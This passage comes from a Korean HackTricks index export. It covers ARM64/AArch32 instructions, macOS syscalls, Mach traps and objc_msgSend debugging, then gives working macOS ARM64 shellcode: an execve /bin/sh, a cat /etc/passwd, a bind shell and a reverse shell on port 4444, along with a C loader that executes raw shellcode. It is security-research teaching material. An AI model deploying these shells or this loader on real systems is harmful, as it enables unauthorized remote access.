예: tst X1, #7 — X1의 마지막 3비트 중 하나라도 1인지 확인 teq : 결과를 버리는 XOR 연산 b : 무조건 분기(Unconditional Branch) 예: b myFunction 이 명령은 복귀 주소를 링크 레지스터에 채우지 않으므로(서브루틴 호출 후 돌아올 필요가 있는 경우) 적합하지 않습니다. bl : Branch with link, 서브루틴 호출에 사용. 복귀 주소를 x30에 저장 합니다. 예: bl myFunction — myFunction을 호출하고 복귀 주소를 x30에 저장합니다. 이 명령은 복귀 주소를 링크 레지스터에 채우지 않으므로(설명 중복) 적절치 않다는 문장이 원문에 중복되어 있습니다. blr : Branch with Link to Register, 호출 대상이 레지스터에 지정된 서브루틴을 호출하는 데 사용. 복귀 주소를 x30에 저장합니다. 예: blr x1 — x1에 담긴 주소의 함수를 호출하고 복귀 주소를 x30에 저장합니다. ret : 서브루틴에서 복귀 , 보통 x30의 주소를 사용합니다. 예: ret — 현재 서브루틴에서 x30에 있는 주소를 사용해 반환합니다. b. : 조건부 분기 b.eq : 이전 cmp 결과를 기반으로 같을 때 분기 . 예: b.eq label — 이전 cmp가 두 값이 같다고 판단하면 label로 점프합니다. b.ne : 같지 않을 때 분기 . 이전 비교 명령이 설정한 조건 플래그를 검사하여 값이 같지 않으면 레이블로 분기합니다. 예: cmp x0, x1 이후 b.ne label — x0과 x1이 같지 않으면 label로 점프합니다. cbz : Compare and Branch on Zero . 레지스터를 0과 비교하여 0이면 분기합니다. 예: cbz x0, label — x0이 0이면 label로 점프합니다. cbnz : Compare and Branch on Non-Zero . 레지스터를 0과 비교하여 0이 아니면 분기합니다. 예: cbnz x0, label — x0이 0이 아니면 label로 점프합니다. tbnz : 특정 비트를 테스트하고 0이 아니면 분기 예: tbnz x0, #8, label tbz : 특정 비트를 테스트하고 0이면 분기 예: tbz x0, #8, label 조건부 선택 연산(Conditional select operations) : 조건 비트에 따라 동작이 달라지는 연산들입니다. csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> 조건이 참이면 X0 = X1, 거짓이면 X0 = X2 csinc Xd, Xn, Xm, cond -> 참이면 Xd = Xn, 거짓이면 Xd = Xm + 1 cinc Xd, Xn, cond -> 참이면 Xd = Xn + 1, 거짓이면 Xd = Xn csinv Xd, Xn, Xm, cond -> 참이면 Xd = Xn, 거짓이면 Xd = NOT(Xm) cinv Xd, Xn, cond -> 참이면 Xd = NOT(Xn), 거짓이면 Xd = Xn csneg Xd, Xn, Xm, cond -> 참이면 Xd = Xn, 거짓이면 Xd = -Xm cneg Xd, Xn, cond -> 참이면 Xd = -Xn, 거짓이면 Xd = Xn cset Xd, Xn, Xm, cond -> 참이면 Xd = 1, 거짓이면 Xd = 0 csetm Xd, Xn, Xm, cond -> 참이면 Xd = , 거짓이면 Xd = 0 adrp : 심볼의 페이지 주소 를 계산하여 레지스터에 저장합니다. 예: adrp x0, symbol — symbol의 페이지 주소를 계산하여 x0에 저장합니다. ldrsw : 메모리에서 부호 있는 32비트 값을 읽어 64비트로 부호 확장 하여 로드합니다. 예: ldrsw x0, [x1] — x1이 가리키는 메모리에서 부호 있는 32비트 값을 읽어 64비트로 확장해 x0에 저장합니다. stur : 한 레지스터의 값을 다른 레지스터로부터 오프셋을 사용해 메모리 위치에 저장합니다. 예: stur x0, [x1, #4] — x1에 있는 주소보다 4바이트 큰 메모리 주소에 x0의 값을 저장합니다. svc : 시스템 콜 을 수행합니다. Supervisor Call의 약자입니다. 프로세서가 이 명령을 실행하면 유저 모드에서 커널 모드로 전환 되고 커널의 시스템 콜 처리 코드가 있는 특정 메모리 위치로 점프합니다. 예: armasm mov x8, 93 ; Load the system call number for exit (93) into register x8.\\nmov x0, 0 ; Load the exit status code (0) into register x0.\\nsvc 0 ; Make the system call.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » Common Instructions (ARM64v8)","id":"2102","title":"Common Instructions (ARM64v8)"},"2103":{"body":"Save the link register and frame pointer to the stack : armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer 새 frame pointer 설정 : mov x29, sp (현재 함수의 새 frame pointer를 설정합니다) 로컬 변수용 스택 공간 할당 (필요한 경우): sub sp, sp, (여기서 는 필요한 바이트 수입니다)","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » Function Prologue","id":"2103","title":"Function Prologue"},"2104":{"body":"로컬 변수 해제 (로컬 변수가 할당된 경우): add sp, sp, link register와 frame pointer 복원 : armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer Return : ret (링크 레지스터의 주소를 사용해 호출자에게 제어를 반환함)","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » 함수 에필로그","id":"2104","title":"함수 에필로그"},"2105":{"body":"Armv8-A는 32비트 프로그램 실행을 지원한다. AArch32 는 두 개의 명령어 집합 중 하나인 A32 또는 **T32**로 실행될 수 있으며 **interworking**을 통해 전환할 수 있다. Privileged 64비트 프로그램은 예외 레벨 전송을 실행하여 권한이 낮은 32비트에서 32비트 프로그램의 실행을 스케줄할 수 있다. 64비트에서 32비트로의 전환은 더 낮은 예외 레벨에서 발생한다(예: EL1의 64비트 프로그램이 EL0의 프로그램을 트리거하는 경우). 이는 AArch32 프로세스 스레드가 실행 준비가 되었을 때 특수 레지스터 **SPSR_ELx**의 bit 4 를 1 로 설정함으로써 이루어진다. SPSR_ELx의 나머지 비트는 AArch32 프로그램의 CPSR을 저장한다. 그런 다음 특권 프로세스가 ERET 명령을 호출하면 프로세서는 **AArch32**로 전환하고 CPSR에 따라 A32 또는 T32로 진입한다. **interworking**은 CPSR의 J 및 T 비트를 사용하여 발생한다. J=0 및 T=0은 **A32**를 의미하고 J=0 및 T=1은 T32 를 의미한다. 이는 기본적으로 명령어 집합이 T32임을 나타내기 위해 최하위 비트를 1로 설정하는 것 으로 해석된다. 이는 interworking branch instructions 동안 설정되지만, PC가 목적지 레지스터로 설정될 때 다른 명령어로 직접 설정될 수도 있다. 예: 또 다른 예: armasm _start:\\n.code 32 ; Begin using A32\\nadd r4, pc, #1 ; Here PC is already pointing to \\"mov r0, #0\\"\\nbx r4 ; Swap to T32 mode: Jump to \\"mov r0, #0\\" + 1 (so T32) .code 16:\\nmov r0, #0\\nmov r0, #8","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » AARCH32 Execution State","id":"2105","title":"AARCH32 Execution State"},"2106":{"body":"16개의 32비트 레지스터(r0-r15)가 있다. r0부터 r14까지 는 모든 연산에 사용할 수 있지만, 일부는 보통 예약되어 있다: r15 : 프로그램 카운터(항상). 다음 명령어의 주소를 포함한다. A32에서는 current + 8, T32에서는 current + 4. r11 : 프레임 포인터 r12 : 프로시저 내부 호출 레지스터 r13 : 스택 포인터 (스택은 항상 16바이트 정렬되어 있음) r14 : 링크 레지스터 또한 레지스터는 **banked registries**에 백업된다. 이는 예외 처리나 특권 연산에서 레지스터를 매번 수동으로 저장하고 복원할 필요 없이 빠른 컨텍스트 스위칭 을 수행할 수 있도록 레지스터 값을 저장하는 장소이다. 이는 예외가 발생한 프로세서 모드의 프로세서 상태를 CPSR에서 SPSR로 저장 함으로써 이루어진다. 예외 복귀 시에는 **SPSR**에서 **CPSR**가 복원된다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » 레지스터","id":"2106","title":"레지스터"},"2107":{"body":"AArch32에서 CPSR은 AArch64의 **PSTATE**와 유사하게 동작하며, 예외 발생 시 나중에 실행을 복원하기 위해 **SPSR_ELx**에 저장되기도 한다: 필드는 몇 개의 그룹으로 나뉜다: Application Program Status Register (APSR): 산술 플래그이며 EL0에서 접근 가능 Execution State Registers: 프로세스 동작(운영체제가 관리) Application Program Status Register (APSR) N , Z , C , V 플래그 (AArch64와 동일) Q 플래그: 특정 saturating 산술 명령 실행 중에 **정수 포화(integer saturation)**가 발생하면 1로 설정된다. 한 번 1로 설정되면 수동으로 0으로 설정할 때까지 유지된다. 또한 이 값은 암묵적으로 검사되는 명령이 없으므로, 수동으로 읽어 확인해야 한다. GE (Greater than or equal) 플래그: SIMD(단일 명령어, 다중 데이터) 연산(예: 병렬 덧셈, 병렬 뺄셈)에서 사용된다. 이러한 연산은 단일 명령으로 여러 데이터 포인트를 처리한다. 예를 들어, UADD8 명령은 병렬로 두 32비트 피연산자에서 나온 네 쌍의 바이트를 더하여 결과를 32비트 레지스터에 저장한다. 그런 다음 이러한 결과를 기반으로 **APSR**의 GE 플래그를 설정한다. 각 GE 플래그는 해당 바이트 덧셈 중 하나에 대응하며, 해당 바이트 쌍의 덧셈이 오버플로우 했는지를 표시한다. SEL 명령은 이러한 GE 플래그를 사용하여 조건부 동작을 수행한다. Execution State Registers J 및 T 비트: **J**는 0이어야 하고, **T**가 0이면 A32 명령어 집합이 사용되며 1이면 T32가 사용된다. IT Block State Register (ITSTATE): 비트 10-15 및 25-26이다. IT 접두사 그룹 내부의 명령들에 대한 조건을 저장한다. E 비트: 엔디언니스를 나타낸다. Mode and Exception Mask Bits (0-4): 현재 실행 상태를 결정한다. 다섯 번째 비트는 프로그램이 32비트로 실행되는지(1) 또는 64비트로 실행되는지(0)를 나타낸다. 나머지 4비트는 현재 사용 중인 예외 모드를 나타내며(예외가 발생하여 처리 중일 때), 설정된 값은 이 처리 중에 다른 예외가 발생하면 현재 우선순위를 나타낸다. AIF : 특정 예외는 A , I, F 비트로 비활성화할 수 있다. **A**가 1이면 asynchronous aborts 가 트리거된다. **I**는 외부 하드웨어 Interrupts Requests (IRQs)에 대한 응답을 설정하고, F는 Fast Interrupt Requests (FIRs)와 관련된다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » CPSR - Current Program Status Register","id":"2107","title":"CPSR - Current Program Status Register"},"2108":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » macOS","id":"2108","title":"macOS"},"2109":{"body":"syscalls.master 를 확인하거나 cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h를 실행해 보자. BSD syscalls는 x16 > 0 을 가진다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » BSD syscalls","id":"2109","title":"BSD syscalls"},"211":{"body":"IPv6 네트워크와 상호 작용하기 위해 다양한 명령을 사용할 수 있습니다: 링크-로컬 주소 핑 : ping6를 사용하여 로컬 장치의 존재를 확인합니다. 이웃 발견 : ip neigh를 사용하여 링크 계층에서 발견된 장치를 봅니다. alive6 : 동일한 네트워크에서 장치를 발견하기 위한 대체 도구입니다. 아래는 몇 가지 명령 예시입니다: bash ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1\\nip neigh | grep ^fe80 # Alternatively, use alive6 for neighbor discovery\\nalive6 eth0 IPv6 주소는 로컬 통신을 위해 장치의 MAC 주소에서 파생될 수 있습니다. 다음은 알려진 MAC 주소에서 Link-local IPv6 주소를 파생하는 방법에 대한 간단한 가이드와 네트워크 내에서 IPv6 주소를 발견하는 방법 및 IPv6 주소 유형에 대한 간략한 개요입니다.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » 네트워크 명령에서의 IPv6 실용 사용","id":"211","title":"네트워크 명령에서의 IPv6 실용 사용"},"2110":{"body":"syscall_sw.c 에서 mach_trap_table을, mach_traps.h 에서 프로토타입을 확인하라. Mach 트랩의 최대 개수는 MACH_TRAP_TABLE_COUNT = 128이다. Mach 트랩은 x16 < 0 을 가지므로, 이전 목록의 번호를 호출할 때 마이너스 를 붙여야 한다: **_kernelrpc_mach_vm_allocate_trap**는 **-10**이다. 이들(및 BSD) syscalls를 호출하는 방법을 확인하려면 디스어셈블러에서 **libsystem_kernel.dylib**을 확인할 수도 있다. bash # macOS\\ndyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e # iOS\\ndyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 Note that Ida and Ghidra can also decompile specific dylibs from the cache just by passing the cache. tip 때때로 여러 syscalls(BSD 및 Mach)의 코드가 스크립트로 생성되기 때문에(소스 코드의 주석을 확인하세요), **libsystem_kernel.dylib**의 decompiled 코드를 source code 를 확인하는 것보다 검토하는 편이 더 쉬울 수 있습니다. dylib에서는 실제로 무엇이 호출되는지 찾을 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » Mach Traps","id":"2110","title":"Mach Traps"},"2111":{"body":"XNU는 machine dependent라고 불리는 다른 종류의 호출을 지원합니다. 이러한 호출의 번호는 아키텍처에 따라 달라지며, 호출이나 번호 모두 고정되어 있다고 보장되지 않습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » machdep 호출","id":"2111","title":"machdep 호출"},"2112":{"body":"이는 커널 소유의 메모리 페이지로, 모든 사용자 프로세스의 주소 공간에 매핑됩니다. 자주 사용되는 커널 서비스의 경우 syscalls를 사용하는 것보다 사용자 모드에서 커널 공간으로의 전환을 더 빠르게 하기 위해 설계되었습니다. 해당 전환이 자주 일어나면 syscall을 쓰는 방식은 매우 비효율적일 수 있습니다. 예를 들어 gettimeofdate 호출은 timeval 값을 comm page에서 직접 읽습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » comm page","id":"2112","title":"comm page"},"2113":{"body":"Objective-C 또는 Swift 프로그램에서 이 함수가 사용되는 것을 매우 흔히 볼 수 있습니다. 이 함수는 Objective-C 객체의 메서드를 호출할 수 있게 해줍니다. Parameters ( more info in the docs ): x0: self -> 인스턴스에 대한 Pointer x1: op -> 메서드의 Selector x2... -> 호출된 메서드의 나머지 인자들 따라서 이 함수로 분기하기 전에 breakpoint를 걸어두면, 이 예제처럼 객체가 NSConcreteTask의 객체를 호출하여 명령을 실행하는 경우 무엇이 호출되는지 lldb에서 쉽게 확인할 수 있습니다: bash # Right in the line were objc_msgSend will be called\\n(lldb) po $x0\\n (lldb) x/s $x1\\n0x1736d3a6e: \\"launch\\" (lldb) po [$x0 launchPath]\\n/bin/sh (lldb) po [$x0 arguments]\\n<__NSArrayI 0x1736801e0>(\\n-c,\\nwhoami\\n) tip 환경 변수 NSObjCMessageLoggingEnabled=1 를 설정하면 이 함수가 호출될 때 /tmp/msgSends-pid 같은 파일에 log할 수 있습니다. 또한 OBJC_HELP=1 를 설정하고 아무 binary를 실행하면 특정 Objc-C actions가 발생할 때 log할 수 있도록 사용할 수 있는 다른 environment variables들을 볼 수 있습니다. When this function is called, it\'s needed to find the called method of the indicated instance, for this different searches are made: optimistic cache lookup 수행: 성공하면 끝 runtimeLock (read) 획득 If (realize && !cls->realized) realize class If (initialize && !cls->initialized) initialize class class의 자체 cache 시도: 성공하면 끝 class method list 시도: 발견되면 cache를 채우고 끝 superclass cache 시도: 성공하면 끝 superclass method list 시도: 발견되면 cache를 채우고 끝 If (resolver) method resolver를 시도하고 class lookup부터 반복 아직 여기까지 왔다면(=다 실패한 경우) forwarder를 시도","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » objc_msgSend","id":"2113","title":"objc_msgSend"},"2114":{"body":"컴파일하려면: bash as -o shell.o shell.s\\nld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib # You could also use this\\nld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem 바이트를 추출하려면: bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh\\nfor c in $(objdump -d \\"s.o\\" | grep -E \'[0-9a-f]+:\' | cut -f 1 | cut -d : -f 2) ; do\\necho -n \'\\\\\\\\x\'$c\\ndone 최신 macOS의 경우: bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh\\nfor s in $(objdump -d \\"s.o\\" | grep -E \'[0-9a-f]+:\' | cut -f 1 | cut -d : -f 2) ; do\\necho -n $s | awk \'{for (i = 7; i > 0; i -= 2) {printf \\"\\\\\\\\x\\" substr($0, i, 2)}}\'\\ndone shellcode를 테스트하기 위한 C code\\nc // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c\\n// gcc loader.c -o loader\\n#include \\n#include \\n#include \\n#include int (*sc)(); char shellcode[] = \\"\\"; int main(int argc, char **argv) {\\nprintf(\\"[>] Shellcode Length: %zd Bytes\\\\n\\", strlen(shellcode)); void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0); if (ptr == MAP_FAILED) {\\nperror(\\"mmap\\");\\nexit(-1);\\n}\\nprintf(\\"[+] SUCCESS: mmap\\\\n\\");\\nprintf(\\" |-> Return = %p\\\\n\\", ptr); void *dst = memcpy(ptr, shellcode, sizeof(shellcode));\\nprintf(\\"[+] SUCCESS: memcpy\\\\n\\");\\nprintf(\\" |-> Return = %p\\\\n\\", dst); int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ); if (status == -1) {\\nperror(\\"mprotect\\");\\nexit(-1);\\n}\\nprintf(\\"[+] SUCCESS: mprotect\\\\n\\");\\nprintf(\\" |-> Return = %d\\\\n\\", status); printf(\\"[>] Trying to execute shellcode...\\\\n\\"); sc = ptr;\\nsc(); return 0;\\n} Shell 다음 here 에서 가져왔으며 설명합니다. with adr\\nwith stack\\nwith adr for linux armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.\\n.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.\\n.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4). _main:\\nadr x0, sh_path ; This is the address of \\"/bin/sh\\".\\nmov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.\\nmov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.\\nmov x16, #59 ; Move the execve syscall number (59) into x16.\\nsvc #0x1337 ; Make the syscall. The number 0x1337 doesn\'t actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16. sh_path: .asciz \\"/bin/sh\\" armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.\\n.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.\\n.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4). _main:\\n; We are going to build the string \\"/bin/sh\\" and place it on the stack. mov x1, #0x622F ; Move the lower half of \\"/bi\\" into x1. 0x62 = \'b\', 0x2F = \'/\'.\\nmovk x1, #0x6E69, lsl #16 ; Move the next half of \\"/bin\\" into x1, shifted left by 16. 0x6E = \'n\', 0x69 = \'i\'.\\nmovk x1, #0x732F, lsl #32 ; Move the first half of \\"/sh\\" into x1, shifted left by 32. 0x73 = \'s\', 0x2F = \'/\'.\\nmovk x1, #0x68, lsl #48 ; Move the last part of \\"/sh\\" into x1, shifted left by 48. 0x68 = \'h\'. str x1, [sp, #-8] ; Store the value of x1 (the \\"/bin/sh\\" string) at the location `sp - 8`. ; Prepare arguments for the execve syscall. mov x1, #8 ; Set x1 to 8.\\nsub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of \\"/bin/sh\\" string on the stack.\\nmov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.\\nmov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve. ; Make the syscall. mov x16, #59 ; Move the execve syscall number (59) into x16.\\nsvc #0x1337 ; Make the syscall. The number 0x1337 doesn\'t actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16. armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/\\n.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.\\n.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.\\n.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4). _main:\\nadr x0, sh_path ; This is the address of \\"/bin/sh\\".\\nmov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.\\nmov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.\\nmov x16, #59 ; Move the execve syscall number (59) into x16.\\nsvc #0x1337 ; Make the syscall. The number 0x1337 doesn\'t actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16. sh_path: .asciz \\"/bin/sh\\" cat으로 읽기 목표는 execve(\\"/bin/cat\\", [\\"/bin/cat\\", \\"/etc/passwd\\"], NULL)를 실행하는 것이고, 따라서 두 번째 인자(x1)는 파라미터들의 배열인데(메모리상에서는 주소들의 스택을 의미한다). armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text\\n.global _main ; Declare a global symbol _main\\n.align 2 ; Align the beginning of the following code to a 4-byte boundary _main:\\n; Prepare the arguments for the execve syscall\\nsub sp, sp, #48 ; Allocate space on the stack\\nmov x1, sp ; x1 will hold the address of the argument array\\nadr x0, cat_path\\nstr x0, [x1] ; Store the address of \\"/bin/cat\\" as the first argument\\nadr x0, passwd_path ; Get the address of \\"/etc/passwd\\"\\nstr x0, [x1, #8] ; Store the address of \\"/etc/passwd\\" as the second argument\\nstr xzr, [x1, #16] ; Store NULL as the third argument (end of arguments) adr x0, cat_path\\nmov x2, xzr ; Clear x2 to hold NULL (no environment variables)\\nmov x16, #59 ; Load the syscall number for execve (59) into x8\\nsvc 0 ; Make the syscall cat_path: .asciz \\"/bin/cat\\"\\n.align 2\\npasswd_path: .asciz \\"/etc/passwd\\" 메인 프로세스가 종료되지 않도록 fork에서 sh로 명령을 실행하기 armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text\\n.global _main ; Declare a global symbol _main\\n.align 2 ; Align the beginning of the following code to a 4-byte boundary _main:\\n; Prepare the arguments for the fork syscall\\nmov x16, #2 ; Load the syscall number for fork (2) into x8\\nsvc 0 ; Make the syscall\\ncmp x1, #0 ; In macOS, if x1 == 0, it\'s parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html\\nbeq _loop ; If not child process, loop ; Prepare the arguments for the execve syscall sub sp, sp, #64 ; Allocate space on the stack\\nmov x1, sp ; x1 will hold the address of the argument array\\nadr x0, sh_path\\nstr x0, [x1] ; Store the address of \\"/bin/sh\\" as the first argument\\nadr x0, sh_c_option ; Get the address of \\"-c\\"\\nstr x0, [x1, #8] ; Store the address of \\"-c\\" as the second argument\\nadr x0, touch_command ; Get the address of \\"touch /tmp/lalala\\"\\nstr x0, [x1, #16] ; Store the address of \\"touch /tmp/lalala\\" as the third argument\\nstr xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments) adr x0, sh_path\\nmov x2, xzr ; Clear x2 to hold NULL (no environment variables)\\nmov x16, #59 ; Load the syscall number for execve (59) into x8\\nsvc 0 ; Make the syscall _exit:\\nmov x16, #1 ; Load the syscall number for exit (1) into x8\\nmov x0, #0 ; Set exit status code to 0\\nsvc 0 ; Make the syscall _loop: b _loop sh_path: .asciz \\"/bin/sh\\"\\n.align 2\\nsh_c_option: .asciz \\"-c\\"\\n.align 2\\ntouch_command: .asciz \\"touch /tmp/lalala\\" Bind shell Bind shell은 https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s 에서 제공되며 port 4444 에서 동작합니다 armasm .section __TEXT,__text\\n.global _main\\n.align 2\\n_main:\\ncall_socket:\\n// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)\\nmov x16, #97\\nlsr x1, x16, #6\\nlsl x0, x1, #1\\nmov x2, xzr\\nsvc #0x1337 // save s\\nmvn x3, x0 call_bind:\\n/*\\n* bind(s, &sockaddr, 0x10)\\n*\\n* struct sockaddr_in {\\n* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10\\n* sa_family_t sin_family; // AF_INET = 2\\n* in_port_t sin_port; // 4444 = 0x115C\\n* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)\\n* char sin_zero[8]; // Don\'t care\\n* };\\n*/\\nmov x1, #0x0210\\nmovk x1, #0x5C11, lsl #16\\nstr x1, [sp, #-8]\\nmov x2, #8\\nsub x1, sp, x2\\nmov x2, #16\\nmov x16, #104\\nsvc #0x1337 call_listen:\\n// listen(s, 2)\\nmvn x0, x3\\nlsr x1, x2, #3\\nmov x16, #106\\nsvc #0x1337 call_accept:\\n// c = accept(s, 0, 0)\\nmvn x0, x3\\nmov x1, xzr\\nmov x2, xzr\\nmov x16, #30\\nsvc #0x1337 mvn x3, x0\\nlsr x2, x16, #4\\nlsl x2, x2, #2 call_dup:\\n// dup(c, 2) -> dup(c, 1) -> dup(c, 0)\\nmvn x0, x3\\nlsr x2, x2, #1\\nmov x1, x2\\nmov x16, #90\\nsvc #0x1337\\nmov x10, xzr\\ncmp x10, x2\\nbne call_dup call_execve:\\n// execve(\\"/bin/sh\\", 0, 0)\\nmov x1, #0x622F\\nmovk x1, #0x6E69, lsl #16\\nmovk x1, #0x732F, lsl #32\\nmovk x1, #0x68, lsl #48\\nstr x1, [sp, #-8]\\nmov x1, #8\\nsub x0, sp, x1\\nmov x1, xzr\\nmov x2, xzr\\nmov x16, #59\\nsvc #0x1337 Reverse shell 다음에서 https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s , revshell을 127.0.0.1:4444 로 armasm .section __TEXT,__text\\n.global _main\\n.align 2\\n_main:\\ncall_socket:\\n// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)\\nmov x16, #97\\nlsr x1, x16, #6\\nlsl x0, x1, #1\\nmov x2, xzr\\nsvc #0x1337 // save s\\nmvn x3, x0 call_connect:\\n/*\\n* connect(s, &sockaddr, 0x10)\\n*\\n* struct sockaddr_in {\\n* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10\\n* sa_family_t sin_family; // AF_INET = 2\\n* in_port_t sin_port; // 4444 = 0x115C\\n* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)\\n* char sin_zero[8]; // Don\'t care\\n* };\\n*/\\nmov x1, #0x0210\\nmovk x1, #0x5C11, lsl #16\\nmovk x1, #0x007F, lsl #32\\nmovk x1, #0x0100, lsl #48\\nstr x1, [sp, #-8]\\nmov x2, #8\\nsub x1, sp, x2\\nmov x2, #16\\nmov x16, #98\\nsvc #0x1337 lsr x2, x2, #2 call_dup:\\n// dup(s, 2) -> dup(s, 1) -> dup(s, 0)\\nmvn x0, x3\\nlsr x2, x2, #1\\nmov x1, x2\\nmov x16, #90\\nsvc #0x1337\\nmov x10, xzr\\ncmp x10, x2\\nbne call_dup call_execve:\\n// execve(\\"/bin/sh\\", 0, 0)\\nmov x1, #0x622F\\nmovk x1, #0x6E69, lsl #16\\nmovk x1, #0x732F, lsl #32\\nmovk x1, #0x68, lsl #48\\nstr x1, [sp, #-8]\\nmov x1, #8\\nsub x0, sp, x1\\nmov x1, xzr\\nmov x2, xzr\\nmov x16, #59\\nsvc #0x1337 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » Shellcodes","id":"2114","title":"Shellcodes"},"2115":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS AppleFS » macOS AppleFS","id":"2115","title":"macOS AppleFS"},"2116":{"body":"**Apple 파일 시스템 (APFS)**는 계층적 파일 시스템 플러스 (HFS+)를 대체하기 위해 설계된 현대적인 파일 시스템입니다. 그 개발은 향상된 성능, 보안 및 효율성 의 필요성에 의해 추진되었습니다. APFS의 몇 가지 주목할 만한 기능은 다음과 같습니다: 공간 공유 : APFS는 여러 볼륨이 단일 물리적 장치에서 동일한 기본 무료 저장소를 공유 할 수 있도록 합니다. 이를 통해 볼륨이 수동으로 크기를 조정하거나 재분할할 필요 없이 동적으로 성장하고 축소될 수 있어 공간 활용이 더 효율적입니다. 이는 파일 디스크의 